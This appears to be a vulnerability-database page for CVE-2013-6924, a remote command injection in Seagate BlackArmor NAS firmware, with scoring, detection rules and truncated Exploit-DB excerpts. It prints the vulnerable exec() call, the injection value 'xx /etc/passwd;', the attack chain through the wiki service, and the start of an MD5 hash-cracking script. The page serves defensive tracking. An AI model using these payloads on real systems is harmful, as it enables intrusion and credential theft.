CVE-2013-6924
published 2017-10-11CVE-2013-6924: Seagate BlackArmor NAS devices with firmware sg2000-2000.1331 allow remote attackers to execute arbitrary commands via shell metacharacters in the ip parameter…
PriorityP274critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
15.16%
96.3th percentile
Seagate BlackArmor NAS devices with firmware sg2000-2000.1331 allow remote attackers to execute arbitrary commands via shell metacharacters in the ip parameter to backupmgt/getAlias.php.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| seagate | blackarmor_nas_220_firmware | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect HTTP GET requests to /backupmgt/getAlias.php with shell metacharacters (semicolons, pipes, etc.) in the 'ip' parameter, indicating command injection attempts. ↗
- →Monitor unauthenticated access to /admin/config.xml, which exposes network configuration, user credentials (MD5 hashes), and share information without authentication. ↗
- →Alert on POST requests to /admin/dokuwiki_service.php with body containing 'enablewiki=yes', indicating an attacker enabling the wiki service as part of privilege escalation. ↗
- →Detect POST requests to /wiwiki/doku.php containing 'exec(' in the wikitext parameter, indicating PHP code injection via the wiki for privilege escalation. ↗
- →The ip GET parameter value 'xx /etc/passwd;' is a canonical exploit pattern — alert on any 'ip' parameter value in getAlias.php requests containing whitespace followed by a path and semicolon. ↗
- ·The vulnerability is only present in firmware version sg2000-2000.1331; other firmware versions may not be affected. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution
exploitdb·2014-01-06·CVSS 9.8
CVE-2013-6924 [CRITICAL] Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution
Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution
---
# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution
# Google Dork: N/A
# Date: 04-01-2014
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage: http://www.seagate.com/
# Software Link:
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
# Version: sg2000-2000.1331
# Tested on: N/A
# CVE : CVE-2013-6924
#
## Description:
#
# The file getAlias.php located in /backupmgt has the following lines:
#
# $ipAddress = $_GET["ip";
# if ($ipAddress != "") {
# exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");
# ..
# ..
# }
#
# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.
#
## Proof of Concept:
#
# http(s):///
Exploit-DB
Seagate BlackArmor NAS - Privilege Escalation
exploitdb·2014-01-06
CVE-2013-6924 Seagate BlackArmor NAS - Privilege Escalation
Seagate BlackArmor NAS - Privilege Escalation
---
##
########################################################################
## Public Release v0.2
########################################################################
abstract class MD5Decryptor {
abstract public function probe($hash);
public static function plain($hash, $class = NULL)
{
if ($class === NULL) {
$class = get_called_class();
} else {
$class = sprintf("MD5Decryptor%s", $class);
}
$decryptor = new $class();
if (count($hash) > 1) {
foreach ($hash as &$one) {
$one = $decryptor->probe($one);
}
} else {
$hash = $decryptor->probe($hash);
}
return $hash;
}
public function dictionaryAttack($hash, array $wordlist)
{
$hash = strtolower($hash);
foreach ($wordlist as $word) {
if (md5($word) === $hash)
No writeups or analysis indexed.
http://packetstormsecurity.com/files/124688/Seagate-BlackArmor-NAS-sg2000-2000.1331-Remote-Command-Execution.htmlhttp://www.securityfocus.com/bid/64655https://exchange.xforce.ibmcloud.com/vulnerabilities/90109http://packetstormsecurity.com/files/124688/Seagate-BlackArmor-NAS-sg2000-2000.1331-Remote-Command-Execution.htmlhttp://www.securityfocus.com/bid/64655https://exchange.xforce.ibmcloud.com/vulnerabilities/90109
2017-10-11
Published